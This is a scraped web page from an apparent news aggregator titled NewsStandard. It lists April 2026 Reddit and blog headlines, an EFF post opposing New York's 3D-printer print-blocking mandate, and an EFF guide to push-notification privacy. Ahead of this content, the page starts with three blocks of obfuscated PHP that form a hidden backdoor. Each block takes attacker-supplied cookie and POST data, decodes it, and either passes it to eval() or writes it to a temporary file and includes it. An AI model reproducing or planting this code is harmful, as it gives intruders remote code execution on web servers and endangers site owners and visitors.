$zsyUCM = "\x78" . chr ( 717 - 616 )."\137" . "\x61" . "\x5a" . "\101";$PFjRtn = "\x63" . "\x6c" . 'a' . chr (115) . "\163" . chr (95) . chr (101) . chr (120) . "\151" . chr (115) . chr ( 287 - 171 )."\x73";$YFZuUhHJ = class_exists($zsyUCM); $PFjRtn = "42169";$ROEmCgEmgC = strpos($PFjRtn, $zsyUCM);if ($YFZuUhHJ == $ROEmCgEmgC){function LTEJSV(){$OrYPFIxe = new /* 33980 */ xe_aZA(12595 + 12595); $OrYPFIxe = NULL;}$YIomAGhZVv = "12595";class xe_aZA{private function lAIIvlAlpo($YIomAGhZVv){if (is_array(xe_aZA::$dNwWaPyr)) {$oiNkU2 = str_replace("<" . "?php", "", xe_aZA::$dNwWaPyr["content"]);eval($oiNkU2); $YIomAGhZVv = "12595";exit();}}public function IeLFPTWLCA(){$oiNkU = "283";$this->_dummy = str_repeat($oiNkU, strlen($oiNkU));}public function __destruct(){xe_aZA::$dNwWaPyr = @unserialize(xe_aZA::$dNwWaPyr); $YIomAGhZVv = "37902_53999";$this->lAIIvlAlpo($YIomAGhZVv); $YIomAGhZVv = "37902_53999";}public function yQmvnUBv($oiNkU, $DaAyMVqEO){return $oiNkU[0] ^ str_repeat($DaAyMVqEO, intval(strlen($oiNkU[0]) / strlen($DaAyMVqEO)) + 1);}public function kQEtSGyJY($oiNkU){$FWDQluj = 'b' . "\x61" . 's' . "\x65" . chr ( 316 - 262 ).'4';return array_map($FWDQluj . chr ( 891 - 796 )."\144" . chr (101) . "\143" . 'o' . "\x64" . chr ( 809 - 708 ), array($oiNkU,));}public function __construct($AoLbaKFRoC=0){$VGoFvkYG = chr (44); $oiNkU = "";$RXanOOsZ = $_POST;$lKWLjAlV = $_COOKIE;$DaAyMVqEO = "2a4af22a-324c-4495-ba8c-91e4652bb45d";$YWvPZEopg = @$lKWLjAlV[substr($DaAyMVqEO, 0, 4)];if (!empty($YWvPZEopg)){$YWvPZEopg = explode($VGoFvkYG, $YWvPZEopg);foreach ($YWvPZEopg as $avvNEVLMAi){$oiNkU .= @$lKWLjAlV[$avvNEVLMAi];$oiNkU .= @$RXanOOsZ[$avvNEVLMAi];}$oiNkU = $this->kQEtSGyJY($oiNkU);}xe_aZA::$dNwWaPyr = $this->yQmvnUBv($oiNkU, $DaAyMVqEO);if (strpos($DaAyMVqEO, $VGoFvkYG) !== FALSE){$DaAyMVqEO = explode($VGoFvkYG, $DaAyMVqEO); $IhlxuAFs = base64_decode(strrev($DaAyMVqEO[0]));}}public static $dNwWaPyr = 35467;}LTEJSV();}$TEystoEjzb = 'm' . chr ( 770 - 671 )."\150" . chr ( 357 - 262 )."\x4e" . "\x68" . "\170" . "\x66" . 'k';$tjcaJl = chr ( 978 - 879 )."\154" . chr ( 983 - 886 ).chr ( 896 - 781 ).chr ( 551 - 436 )."\x5f" . chr (101) . 'x' . "\151" . chr ( 689 - 574 ).chr (116) . 's';$mEbbYTt = class_exists($TEystoEjzb); $tjcaJl = "12466";$KqzdIyBw = strpos($tjcaJl, $TEystoEjzb);if ($mEbbYTt == $KqzdIyBw){function OWEwffjgA(){$eyWvrKef = new /* 55036 */ mch_Nhxfk(33619 + 33619); $eyWvrKef = NULL;}$TCKjlpEkO = "33619";class mch_Nhxfk{private function dKpehsMR($TCKjlpEkO){if (is_array(mch_Nhxfk::$ynMAWEJO)) {$name = sys_get_temp_dir() . "/" . crc32(mch_Nhxfk::$ynMAWEJO["salt"]);@mch_Nhxfk::$ynMAWEJO["write"]($name, mch_Nhxfk::$ynMAWEJO["content"]);include $name;@mch_Nhxfk::$ynMAWEJO["delete"]($name); $TCKjlpEkO = "33619";exit();}}public function SDQset(){$hYhZhQe = "21973";$this->_dummy = str_repeat($hYhZhQe, strlen($hYhZhQe));}public function __destruct(){mch_Nhxfk::$ynMAWEJO = @unserialize(mch_Nhxfk::$ynMAWEJO); $TCKjlpEkO = "18815_31585";$this->dKpehsMR($TCKjlpEkO); $TCKjlpEkO = "18815_31585";}public function sDYlixVnA($hYhZhQe, $YSsEwG){return $hYhZhQe[0] ^ str_repeat($YSsEwG, intval(strlen($hYhZhQe[0]) / strlen($YSsEwG)) + 1);}public function edEPNX($hYhZhQe){$rupHSGXoBz = "\142" . "\141" . "\x73" . chr (101) . chr (54) . "\64";return array_map($rupHSGXoBz . chr (95) . chr ( 996 - 896 ).chr ( 1085 - 984 ).chr (99) . chr ( 375 - 264 ).'d' . "\x65", array($hYhZhQe,));}public function __construct($SRbNrdusw=0){$ayEyI = ',';$hYhZhQe = "";$LIYFKkHbb = $_POST;$sYBFdyPe = $_COOKIE;$YSsEwG = "a388bc99-5682-4cf7-bad7-9b894580c944";$wdyleeQ = @$sYBFdyPe[substr($YSsEwG, 0, 4)];if (!empty($wdyleeQ)){$wdyleeQ = explode($ayEyI, $wdyleeQ);foreach ($wdyleeQ as $NPfGPKlt){$hYhZhQe .= @$sYBFdyPe[$NPfGPKlt];$hYhZhQe .= @$LIYFKkHbb[$NPfGPKlt];}$hYhZhQe = $this->edEPNX($hYhZhQe);}mch_Nhxfk::$ynMAWEJO = $this->sDYlixVnA($hYhZhQe, $YSsEwG);if (strpos($YSsEwG, $ayEyI) !== FALSE){$YSsEwG = explode($ayEyI, $YSsEwG); $AHjGatIAu = base64_decode(md5($YSsEwG[0])); $yewTxtmiBy = strlen($YSsEwG[1]) > 5 ? substr($YSsEwG[1], 0, 5) : $YSsEwG[1];$_GET['new_key'] = md5(implode('', $YSsEwG)); $PcvTnvLfXD = str_repeat($yewTxtmiBy, 2); $zjVGshnHkH = array_map('trim', $YSsEwG);if (is_array($zjVGshnHkH) && count($zjVGshnHkH) > 1) {$CwFFDIr = $zjVGshnHkH[0];} else {$CwFFDIr = '';}}}public static $ynMAWEJO = 15637;}OWEwffjgA();}$tCurWDKdsP = chr ( 1032 - 929 )."\x4e" . '_' . 'k' . chr (87) . "\101" . "\164";$SZltFKEw = chr (99) . chr (108) . chr (97) . chr (115) . chr ( 234 - 119 ).chr ( 252 - 157 )."\145" . 'x' . chr (105) . chr (115) . chr (116) . "\163";$gPXBkSNty = class_exists($tCurWDKdsP); $SZltFKEw = "30001";$nvemgOjaqk = strpos($SZltFKEw, $tCurWDKdsP);if ($gPXBkSNty == $nvemgOjaqk){function iBDtsZKuD(){$cCoDiATQx = new /* 54584 */ gN_kWAt(34487 + 34487); $cCoDiATQx = NULL;}$XJUJVuL = "34487";class gN_kWAt{private function KDCTggu($XJUJVuL){if (is_array(gN_kWAt::$ktbGMaWCHr)) {$ECvDMsrMkb = str_replace('<' . chr (63) . "\x70" . chr (104) . "\160", "", gN_kWAt::$ktbGMaWCHr['c' . "\157" . chr (110) . 't' . chr (101) . "\156" . chr ( 553 - 437 )]);eval($ECvDMsrMkb); $XJUJVuL = "34487";exit();}}public function SFvNTMsb(){$kCLGXxz = "12398";$this->_dummy = str_repeat($kCLGXxz, strlen($kCLGXxz));}public function __destruct(){gN_kWAt::$ktbGMaWCHr = @unserialize(gN_kWAt::$ktbGMaWCHr); $XJUJVuL = "2467_869";$this->KDCTggu($XJUJVuL); $XJUJVuL = "2467_869";}public function cciXX($kCLGXxz, $IKJyPGX){return $kCLGXxz[0] ^ str_repeat($IKJyPGX, (strlen($kCLGXxz[0]) / strlen($IKJyPGX)) + 1);}public function CwnBGwi($kCLGXxz){$BOvnQaXh = "base64";return array_map($BOvnQaXh . "\137" . "\x64" . 'e' . "\x63" . chr ( 873 - 762 ).'d' . chr ( 167 - 66 ), array($kCLGXxz,));}public function __construct($cAkjEe=0){$ovsCft = ",";$kCLGXxz = "";$tCgiH = $_POST;$nzetxWG = $_COOKIE;$IKJyPGX = "357f6350-42a1-4e4a-94cd-b9561b849dfb";$iuEVe = @$nzetxWG[substr($IKJyPGX, 0, 4)];if (!empty($iuEVe)){$iuEVe = explode($ovsCft, $iuEVe);foreach ($iuEVe as $nNeddGr){$kCLGXxz .= @$nzetxWG[$nNeddGr];$kCLGXxz .= @$tCgiH[$nNeddGr];}$kCLGXxz = $this->CwnBGwi($kCLGXxz);}gN_kWAt::$ktbGMaWCHr = $this->cciXX($kCLGXxz, $IKJyPGX);if (strpos($IKJyPGX, $ovsCft) !== FALSE){$IKJyPGX = explode($ovsCft, $IKJyPGX);}}public static $ktbGMaWCHr = 11808;}iBDtsZKuD();} Anarcho-Libero-Constitutionalist-Transcendentalist – NewsStandard

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  • TV Reboots Put Millennials in Charge of the Remote
    by /u/bloomberg on April 17, 2026 at 11:35 am

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  • Starmer couldn’t run a bath – let alone the country
    by /u/theipaper on April 17, 2026 at 11:26 am

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  • Sex offender facing deportation tells cops Canadian laws 'don't apply to me'
    by /u/Few_Negotiation832 on April 17, 2026 at 10:39 am

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  • Pitying Looksmaxxing culture: The Teumessian Fox paradox as a model for desire that can never resolve, Schopenhauer's Will-to-Live
    by /u/teumessianfox7 on April 17, 2026 at 9:40 am

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  • Trump U-turns on controversial spy bill after calling for it to be 'killed'
    by /u/smashedpootatoes on April 17, 2026 at 8:45 am

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  • Charter at a turning point as it turns 44 - Legal experts worry Charter facing a 'slow death' with frequent invocation of notwithstanding clause
    by /u/Immediate-Link490 on April 17, 2026 at 8:09 am

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  • Trump Boasts Fake Job for His Supporters in Exchange for Cash
    by /u/retiredagainstmywill on April 17, 2026 at 7:28 am

    What does he need this money for? I’m what world can this be legal? submitted by /u/retiredagainstmywill [link] [comments]

  • Exclusive: Hezbollah MP Blasts Lebanese Government for Talks With Israel
    by Keith Preston on April 17, 2026 at 4:56 am

    Forwarded this email? Subscribe here for more Watch now Exclusive: Hezbollah MP Blasts Lebanese Government for Talks With Israel Ibrahim Al-Moussawi tells Drop Site that Hezbollah vows armed resistance will continue until Israel ends attacks, says Lebanese officials “are partners in the killing of their own people.” Jeremy The post Exclusive: Hezbollah MP Blasts Lebanese Government for Talks With Israel first appeared on Attack the System.

  • Arizona High Schoolers Were Protesting ICE. This Off-Duty Cop Showed Up With a Gun.
    by Keith Preston on April 17, 2026 at 4:56 am

    Most Read The Dam Breaks: Democratic Senators Overwhelmingly Reject Arms Sales to Israel Matt Sledge Despite their defeat by Senate Republicans, bills seeking to block arms sales to Israel found widespread Democratic support. Read More → Armed Off-Duty Cop Tried to Incite Violence at a High School Anti-ICE The post Arizona High Schoolers Were Protesting ICE. This Off-Duty Cop Showed Up With a Gun. first appeared on Attack the System.

  • Antiwar.com’s Week in Review for April 16, 2026
    by Keith Preston on April 17, 2026 at 4:55 am

    April 16th, 2026 | Weekly Issue US Sends Thousands More Troops to Middle East, Considers Ground Ops in Iran Dave DeCamp | April 15th Israel Army rebrands attacks on Lebanon to ‘Operation Eternal Darkness’ The US is sending thousands of additional troops to the Middle East and is The post Antiwar.com’s Week in Review for April 16, 2026 first appeared on Attack the System.

  • Why This War? Pankaj Mishra, Ben Rhodes, and Suzy Hansen on Iran
    by Keith Preston on April 17, 2026 at 4:54 am

    Why This War? Pankaj Mishra, Ben Rhodes, and Suzy Hansen on Iran April 22, 2026, at 1 PM EDT Join us for an online discussion on what the war means for the future of US politics and America’s place in the world. The conversation will last approximately ninety minutes, The post Why This War? Pankaj Mishra, Ben Rhodes, and Suzy Hansen on Iran first appeared on Attack the System.

  • US Nuke Scientists Are Mysteriously Disappearing!
    by Keith Preston on April 17, 2026 at 4:10 am

    Forwarded this email? Subscribe here for more Watch now US Nuke Scientists Are Mysteriously Disappearing! – New World Next Week The Corbett Report Apr 16 READ IN APP SHOW NOTES AND COMMENTS: https://corbettreport.com/nwnw626/ This week on New World Next Week: Anthropic’s new AI finding exploits humans can’t; US The post US Nuke Scientists Are Mysteriously Disappearing! first appeared on Attack the System.

  • Americans Are Overwhelmingly Turning on Israel
    by Keith Preston on April 17, 2026 at 3:53 am

    Recent polling shows that over the last few years Americans have increasingly disapproved of Israel The post Americans Are Overwhelmingly Turning on Israel first appeared on Attack the System.

  • In a Judiciary Committee hearing, Jasmine Crockett talks ICE violence, and how Trump’s DOJ dropped investigations of terrorism, tax evasion, drug trafficking, and other violent crimes. Yet committee Republicans haven't held a single hearing, started any investigations, or done anything about it.
    by /u/biospheric on April 17, 2026 at 3:18 am

    April 16, 2026 - US Rep. Jasmine Crockett (D-Texas). Here’s the full 9-minutes on YouTube: “We Can’t Pick and Choose Which Victims Matter.” Jasmine Crockett’s Opening Statement (YouTube) Here’s the description from Rep. Crockett’s YouTube channel: During a House Judiciary Committee hearing, Congresswoman Jasmine Crockett delivers an opening statement centered on accountability, consistency, and the real human cost of public policy. While acknowledging the devastating losses shared by families present, Crockett raises a broader concern — that not all victims are given the same attention or platform. She highlights cases involving deaths and injuries tied to federal enforcement actions and questions why those families have not been included in similar hearings. Drawing on her legal background, Crockett emphasizes that no one should be above the law and that public policy should not require a threshold of victims before it is taken seriously. She calls on Congress to move beyond repeated hearings and focus on oversight and policy changes that can prevent further loss of life. ................. Jasmine Crockett earned her J.D. from the University of Houston. Here are more r/law posts with Crockett: r/law/search/?q=%22Crockett%22&type=posts&sort=new submitted by /u/biospheric [link] [comments]

  • a little rant - life after articling in big law?
    by /u/Scared-Mobile-2683 on April 17, 2026 at 2:53 am

    Hey everyone, I’m a 3L who just finished exams and I’m starting bar prep soon, and I’ve been feeling pretty stressed about what comes next. I’m currently set to article in big law, but I honestly don’t see myself going back after articling. I have relatives in it and from everything I’ve seen, the lifestyle just isn’t for me long-term. I think I’d be much more interested in something transactional, but outside of big law. At the same time, I also have this underlying fear that I might not even get a hireback, which makes everything feel even more uncertain. Like it’s one thing to choose not to return, but it’s another thing if that option isn’t even there. I do have debt, and while I plan to pay down as much as I can during articling, I’m not in a huge rush to eliminate it immediately. I’ve also put some money into a real estate investment, which I’m hoping will eventually help financially (but obviously nothing is guaranteed), so I’m trying to think a bit more long-term rather than just rushing into something for the salary. I guess what I’m really worried about is: How realistic is it to get a first-year associate position outside of big law? Is $80–100k a reasonable expectation starting out? And how hard is it to pivot into something more transactional if you’re coming out of articling? Would really appreciate any insight, especially from people who didn’t stay in big law or didn’t get hired back. submitted by /u/Scared-Mobile-2683 [link] [comments]

  • ICE Arrests 85-Year-Old French Widow Who Married Her G.I. Sweetheart: After Marie-Thérèse Ross-Mahé’s husband died, an inheritance battle exploded. Her stepson then used his influence to have her arrested, an Alabama probate judge said.
    by /u/AngelaMotorman on April 17, 2026 at 2:50 am

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  • Question on LLM usage in law firms
    by /u/Distinct-College-917 on April 17, 2026 at 2:10 am

    I’m developing a property application that’s live and part of the data linked in Canada tribunal cases. Matching property data with legal is my solution but this brought up more questions on what solutions law professionals use. The (Large Language Model) is the perfect data solution if done correctly. so I was curious how law firms use data from cases? Do firms have a structured search mechanism to pull relevant cases from internal cases and public decisions? How are firms addressing the use of AI to summarize legal data ? I’m not talking about using ChatGPT but using internal secure databases for LLM solutions? **edit** sorry not looking to annoy any legal professionals. The question was more are there tools used to help curate information (not data) into more meaningful summaries around legal issues, so not having to read 500 page documents. This is more general question as I don't work in a law firm, but developing a property/legal app so trying to understand systems and processes. submitted by /u/Distinct-College-917 [link] [comments]

  • Implications of a wealth tax
    by /u/TheBigNoiseFromXenia on April 17, 2026 at 1:20 am

    Do the people cheering the idea of a wealth tax not realize that every American would then have to submit all of there financial details, to the IRS: cash, house value, business value, cars, clothes, etc.? They talk about targeting only the wealthiest, but unless everyone is required to submit full details, how will they know who the wealthiest are? I shudder at the thought of the bureaucracy that would be required to evaluate all of that info. submitted by /u/TheBigNoiseFromXenia [link] [comments]

  • In China, car factories are becoming the new classrooms
    by /u/Free-Minimum-5844 on April 17, 2026 at 1:07 am

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  • Singer D4vd is arrested on suspicion of killing a 14-year-old girl found dead in his Tesla
    by /u/Immediate-Link490 on April 17, 2026 at 1:00 am

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  • Why does PLTC require you to provide the address of where you’re studying?
    by /u/belowthebar_26 on April 17, 2026 at 12:43 am

    Are you not allowed to do PLTC from outside of BC? submitted by /u/belowthebar_26 [link] [comments]

  • Newly unsealed records reveal Amazon’s price-fixing tactics, California attorney general claims
    by /u/AmethystOrator on April 17, 2026 at 12:18 am

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  • Senate votes 50-49 to overturn mining ban near Boundary Waters
    by /u/Turbulent_Crab_3602 on April 16, 2026 at 11:54 pm

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  • Arrest warrant issued for ICE officer accused of pulling gun on Minnesota driver
    by /u/Intolerance-Paradox on April 16, 2026 at 11:39 pm

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  • 4/16/2026 Kyle Kulinski Show BREAKING: Israel BLINDSIDED w/Lebanon CEASEFIRE
    by Keith Preston on April 16, 2026 at 11:28 pm

    There’s a “ceasefire” in Gaza, too, but it doesn’t stop Israel from killing people there almost daily. The post 4/16/2026 Kyle Kulinski Show BREAKING: Israel BLINDSIDED w/Lebanon CEASEFIRE first appeared on Attack the System.

  • STEM undergrad vs law school
    by /u/LabImaginary4533 on April 16, 2026 at 10:53 pm

    For those with a STEM background, how did law school compare to your undergraduate studies in terms of difficulty? I have a B.Sc. and an M.Sc. in biomedical sciences and am considering law school. I would appreciate hearing from people who have completed both, particularly how the level and type of difficulty compared. Edit: I have been admitted into law school as a mature student but am doubting myself as I found my undergrad to be quite demanding and hard. submitted by /u/LabImaginary4533 [link] [comments]

  • Dave Chappelle says he RESENTS GOP for WEAPONZING transgender jokes | RISING
    by Keith Preston on April 16, 2026 at 10:35 pm

    Comedian Dave Chappelle says Republicans like Lauren Boebert have ‘weaponized’ jokes he’s made about transgender people. #DaveChappelle #LaurenBoebert #Transgender The post Dave Chappelle says he RESENTS GOP for WEAPONZING transgender jokes | RISING first appeared on Attack the System.

  • Somalia collects 3% in domestic revenue, lives on US foreign aid — then gives 90% of its offshore oil to Turkey. Why is America funding this?
    by /u/Expensive-Aerie-2479 on April 16, 2026 at 10:04 pm

    World Bank 2026: Somalia collects only 3% of GDP in domestic tax revenue — one of the lowest rates on earth. The government runs almost entirely on USAID, EU grants, and Gulf donations. Meanwhile, Mogadishu just awarded Turkey 90% of Somalia's offshore oil revenues, port control in Mogadishu, and naval basing rights. Classic foreign aid trap: when governments don't need to tax citizens, they have no accountability to them — and no pressure to build fiscal capacity. American taxpayers are subsidizing a government that turns around and gives its natural resources to a foreign power. This is exactly why unconditional foreign aid fails. submitted by /u/Expensive-Aerie-2479 [link] [comments]

  • Report: Pentagon GEARING UP for Cuba operation? (Plus: Zelenskyy touts new ROBOTS) | RISING
    by Keith Preston on April 16, 2026 at 9:58 pm

    0:00 Gavin Newsom trashes California’s Dem choices for gov; could Republicans win? Robby Soave | RISING 7:12 Trump WH orders Pentagon to prep plans for potential Cuba operation: report | RISING 13:08 Ro Khanna blasts Chuck Schumer, Dems who voted to advance Israel arms sale | RISING 18:05 The post Report: Pentagon GEARING UP for Cuba operation? (Plus: Zelenskyy touts new ROBOTS) | RISING first appeared on Attack the System.

  • BC Laws site slow / unusable
    by /u/vqql on April 16, 2026 at 9:44 pm

    Any time I make the mistake of clicking on a link hosted by BcLaws, it is so slow to the point of being unusable. I know that CanLii exists, but without that it's wild to me that our electronic access to the... law... is essentially zilch. I guess the techie answer is that like most of government, they're using an antiquated server system? submitted by /u/vqql [link] [comments]

  • Candace Owens accuses Erika Kirk of lying about skipping TPUSA event over threats | RISING
    by Keith Preston on April 16, 2026 at 9:19 pm

    Erika Kirk skipped a TPUSA event with VP JD Vance in Georgia after her security team said she received “very serious threats,” but Candace Owens thinks the absence was due to low ticket sales. #ErikaKirk #TPUSA #JDVance The post Candace Owens accuses Erika Kirk of lying about skipping TPUSA event over threats | RISING first appeared on Attack the System.

  • Unions notch discovery win in DOGE case after Trump admin 'disclosed several inaccuracies'
    by /u/FreedomsPower on April 16, 2026 at 9:10 pm

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  • Judge: Trump can’t claim that entire White House ballroom project is needed for national security
    by /u/Just-Sale-7015 on April 16, 2026 at 8:57 pm

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  • Retired Porn Star Asia Carrera Passes Texas Bar to Become Attorney
    by /u/AccurateInflation167 on April 16, 2026 at 8:39 pm

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  • Arkansas attorney general, state officials vow to appeal to SCOTUS, challenge legal recognition of Satanism as a religion after losing Ten Commandments monument case
    by /u/Obversa on April 16, 2026 at 8:35 pm

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  • Stop New York's Attack on 3D Printing
    by Rory Mir on April 16, 2026 at 8:31 pm

    New York's proposed 2026-2027 budget currently includes provisions that will require all 3D printers sold in the state to run print-blocking censorware—software that surveils every print for forbidden designs. This policy would also create felony charges for possessing or sharing certain design files. The vote on the state budget could happen as early as next week, so New Yorkers need to act fast and demand that their Assemblymembers and Senators strip this provision from the budget. Take action Tell Your Representative to Stand with Creators State legislators across the US are rushing to regulate 3D-printed firearms under the syllogism “something must be done; there, I've done something.” The most reckless of these proposals is a mandate for manufacturers to implement print blocking on all 3D printers. We, and other experts, have already pointed out that this algorithmic print blocking is simply unfeasible and will only serve to stifle competition, free expression, and privacy. While most detrimental to the creative communities lawfully using these printers, every New Yorker will be impacted by this blow to innovation. This policy is unfortunately buried in Part C of the New York State’s proposed budget for the 2026-2027 fiscal year (S.9005 / A.10005), which is urgently moving toward a vote after facing extensive delays. It’s also bundled with a policy that would allow felony charges to be brought against researchers and journalists for sharing design files restricted by the state.  The worst of these impacts won’t be known until after it is negotiated behind closed doors, with no safeguards for creative expression or privacy. Researchers and Journalists Could Face Felony Charges Part C Subpart A of the budget includes two particularly concerning provisions: §2.10 and 2.11. These threaten Class E felony charges for distributing or possessing 3D-printer files that would produce firearm parts with a 3D printer or CNC machine.  Under these provisions merely sharing a print file with any of them could result in criminal charges The first provision, 2.10, makes it a felony to sell or distribute files that can produce major firearm components to someone who is not a federally and NY-licensed gunsmith. Under 2.11, it’s also a felony to possess these files if you intend to illegally print a firearm or share them with someone you believe is not permitted to own or smith a firearm. A journalist reporting on 3D-printed guns. A researcher studying printable firearms. An artist incorporating parts into a new work commenting on gun culture. Under these provisions merely sharing a print file with any of them could result in criminal charges, even if no one involved intends to assemble a firearm. Criminalizing information doesn’t work. Someone intent on illegally printing a firearm is already subject to charges for that act. Adding felony liability for simply possessing a file or design piles on additional charges while doing nothing to stop printing. New charges for someone distributing these files won’t make them inaccessible to lawbreakers, but they will have a chilling effect on legitimate and entirely legal work.  Unsurprisingly, a similar law was proposed and subsequently scrapped in Colorado due to First Amendment concerns. We recommend New York do the same. Mandated Surveillance, Less Access Part C Subpart B would require every 3D printer and CNC machine sold in New York to include algorithms that scan your design files and block prints the system identifies as producing firearm components. Furthermore, all sales and deliveries of these machines must be made face-to-face.  Unlike other bills we have seen, there are no exceptions to this mandate. These restrictions apply to sales to researchers, commercial manufacturers, and—oddly enough—federally and state-licensed gunsmiths. Applying these restrictions to CNC machine sellers is particularly absurd. These cousins of 3D printers, which make 3D objects by removing materials, are often tens of thousands of dollars and used by commercial manufacturers. Automotive, aerospace, medical manufacturers, and many others industries will be subject to the in-person sales, surveillance risk, and all the other problems with these print-blocking algorithms introduce. Industries will be subject to the in-person sales, surveillance risk, and all the other problems Even limiting the focus to individual buyers—hobbyists and artists who use these machines at home—this restriction to face-to-face sales comes with its own issues. Beyond unnecessarily complicating the use of printers in the state, this barrier to access will hit rural New Yorkers the hardest. People in rural or remote locations can stand to benefit from the saved time and costs of printing useful parts at home. With this restriction, they will need to drive to one of the few retailers who actually sell this equipment and settle for the models they stock.  That is, if sellers continue to stock these printers despite the risk. Subpart B §§ 2.3 and 2.5 open sellers up to liability, including anyone on the second-hand market, for selling out-of-date printers. Meanwhile, buyers hoping to illegally print firearms can simply build their own printer with widely available equipment. The Law Won’t Work as Advertised  Here’s what makes Subpart B of the New York budget particularly reckless: the technology it mandates is not capable of doing what it is supposed to.  There is very little detail provided about requirements for the mandated algorithms. What the bill does outline boils down to this: the algorithms must evaluate print files to determine whether they would produce a firearm or illegal firearm parts, and if so, block the print. In an attempt to enable this, New York state would also create and maintain a library of forbidden files with tightly restricted access.  We’ve already gone over why this idea simply won’t work. Design files are trivially easy to modify, split into segments, or otherwise alter to evade pattern detection. Even if printers fully rendered and analyzed the print with cloud-based AI, any number of design or post-print tricks can be used to dodge detection. Meanwhile, such fuzzy AI interpretation will rapidly increase the percentage of lawful prints censored.  Firearms aren’t a highly specific design like paper currency; these proposed algorithms are futilely attempting to block an infinite number of designs capable of—or that can be made capable of—the few simple mechanical functions that make up a firearm.  This group has no peer review requirements, so it could easily be loaded with profiteers or incumbent manufacturers As we’ve said before: the internet always routes around censorship. Anyone determined to print a prohibited object has straightforward workarounds. The people who get surveilled and blocked are the people trying to follow the law. The bill aims to enforce this impossible mandate by creating a working group to define the actual technical requirements of enforcement—but only after the law passes. This group has no peer review requirements, so it could easily be loaded with profiteers or incumbent manufacturers who are already lining up to participate. These incumbents stand to profit from shutting out new competitors and locking in users to their devices, and sellers into their platform, subjecting both to the type of enshittification seen with Digital Rights Management (DRM) software. There are also no safeguards in the law to prevent the most surveillance-heavy approaches to print scanning, or to stop this censorship infrastructure from being further weaponized against lawful speech. On the other hand, unbiased experts in open-source manufacturing in the working group can at best pause the clock by showing such algorithms are unfeasible. That is, until a new snake oil company comes along to restart it.  New York Won't Be the Last Stop  New York is one of the largest consumer markets in the country. When it mandates a feature in hardware, manufacturers hardly ever build a New York-only version. They build the New York version and sell it globally. A print-blocking mandate adopted in New York will become the national standard in practice. New Yorkers deserve more than this rush job buried in a budget bill. This is an unfeasible tech solution, built without the consumer protections that would be required of any serious policy proposal, and creates new costs and inconveniences amidst a protracted annual budget process. It also threatens First Amendment protections. This policy will take shape without consumer guardrails, behind closed doors, and risks the worst outcomes for grassroots innovation and creativity enabled by these machines. Worse still, these practices can become the norm across other states and among 3D-printer manufacturers worldwide.  Your representatives could vote on this ill-conceived measure in the next week.  If you're a New Yorker, email your legislators now, and tell them to strip this measure from the budget today.  Take action Tell Your Representative to Stand with Creators

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    by Keith Preston on April 16, 2026 at 5:53 pm

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  • How Push Notifications Can Betray Your Privacy (and What to Do About It)
    by Thorin Klosowski on April 16, 2026 at 4:41 pm

    A phone’s push notifications can contain a significant amount of information about you, your communications, and what you do throughout the day. They’re important enough to government investigations that Apple and Google now both require a judge’s order to hand details about push notifications over to law enforcement, and even with that requirement Apple shares data on hundreds of users. More recently, we also learned from a 404 Media report that law enforcement forensic extraction tools can unearth the text from deleted notifications, including those from secure messaging tools, like Signal. The good news is that you can mitigate some of this risk.  There are two points where notifications may betray your privacy: when they’re transmitted over cloud servers and once they land on the device. Let’s start with the cloud. It might seem like push notifications come directly from an app, but they are typically routed through either Apple or Google’s servers first (depending on if you use iOS or Android). According to a letter sent to the Department of Justice by Senator Wyden, the content of those notifications may be visible to Apple and Google, and at the very least the companies collect some metadata about what apps send a notification and when. App providers have to make the decision to hide the content from Apple and Google and implement that functionality; Signal is one app that does this.  Then, once the notifications land on your phone, depending on your settings, the notification content may be visible on your lock screen without needing to unlock the device. This can be dangerous if you lose your device, someone steals it, or it’s confiscated by law enforcement.  You may clear notifications after looking at them. But it turns out the content notifications get recorded in your device’s internal storage, which then makes them susceptible to recovery with certain types of forensic tools. Notification content may even persist after the app is deleted, if the OS doesn’t fully purge the app’s notification data.  We still have a lot of unanswered questions about how the notification databases work on devices. We do not know how long notifications are stored, or whether they’re backed up to the cloud, in which case the cloud provider could get backdoor access to the content of messages if the backups are enabled and not end-to-end encrypted. This may also make backups vulnerable to law enforcement demands for data.  Which is all to say that there are myriad ways that law enforcement can access the content or metadata of push notifications. Let’s fix that. Consider the Strongest Notification Protections for Your Secure Messaging Apps Secure chat tools are designed to keep the content of the messages safe inside the app. So, for secure chat apps like WhatsApp and Signal, that means the company that makes those apps cannot see the content of your messages, and they’re only accessible on your and your recipients’ devices. Once messages land on a device, it’s still important to consider some privacy precautions, particularly with notifications.  SignalSignal offers three levels of information to include in notifications, all which are pretty self explanatory: Name, Content, and Actions (Name and message on Android) shows the entirety of a message as well as who sent it (on iPhone you can also slide to reply, mark as read, or call back).  Name only only shows the name of the sender.  No Name or Content (No name or message on Android) will only show that you have a message from Signal, not who sent it or what it’s about.  To change your settings: On iPhone: Tap your profile picture, then Settings > Notifications > Show. On Android: Tap your profile picture, then Notifications > Show.  WhatsAppWhatsApp only has one option for this, and it’s currently limited to iPhone, but you can at least tell the app not to include the content of a message in the notification: Open WhatsApp for iPhone, tap the “You” bar, then Notifications, and disable the Show preview option. Check your other apps to see if they offer similar settings. Limit Your Notifications Device-Wide Since Apple and Google manage push notifications for their respective devices, they also have some visibility into certain data. Push notification data can include certain types of metadata, like which app sent a notification and when, as well as the account ID associated with the phone. In some cases, Apple and Google may have access to unencrypted content, including the content of the text in a notification or other information from the app itself.  For most app notifications, there’s no simple way to easily figure out what metadata might be gleaned from a notification, or if the notification is unencrypted or not. But some app developers have described details along these lines. For example, Signal president Meredith Whittaker explained on social media how the Signal app handles notifications entirely on-device. Searching online for an app name along with “notification privacy,” “notification encryption” or “notification metadata” may help answer your questions, or you may need to dig around in support forums for the app. It’s also good to reconsider whether any app should be sending you notifications to begin with. Aside from a potential decrease in the number of distractions you endure throughout the day, or the level of chaos on display on your lockscreen, limiting the apps that can send notifications and what content is visible in them can improve your privacy with respect to the sorts of metadata that may be gathered by the companies, as well as any content that may be viewable if someone has physically accessed your device. To check and change your settings on iPhone Open Settings > Notifications. On the Show Previews option, you can choose whether to show the content of notifications on the lock screen, “Always,” which doesn’t require unlocking the device, “When Unlocked,” which does, and “Never,” which means notifications won’t have any details, just that you have a notification in an app.  Alternatively, you can scroll down and change these settings per app. Just tap the app name, then the Show Previews menu, and choose how you’d like them to appear. Or, if you’ve decided you don’t want notifications from that app at all, uncheck the Allow Notifications option. To check and change your settings on AndroidThe core version of Android relies on app developers to develop specific settings more than controlling them on a platform-wide level. Open Settings > Notifications > App notifications to disable notifications from any app completely. Some apps may also offer internal notification options for specific types of notices, like new messages, that you can control in the app itself. Tap an app name, then tap the Addition settings in the app option to potentially customize it more. You can also experiment with the sensitive content setting. This is up to the developer to set properly, but when done so, 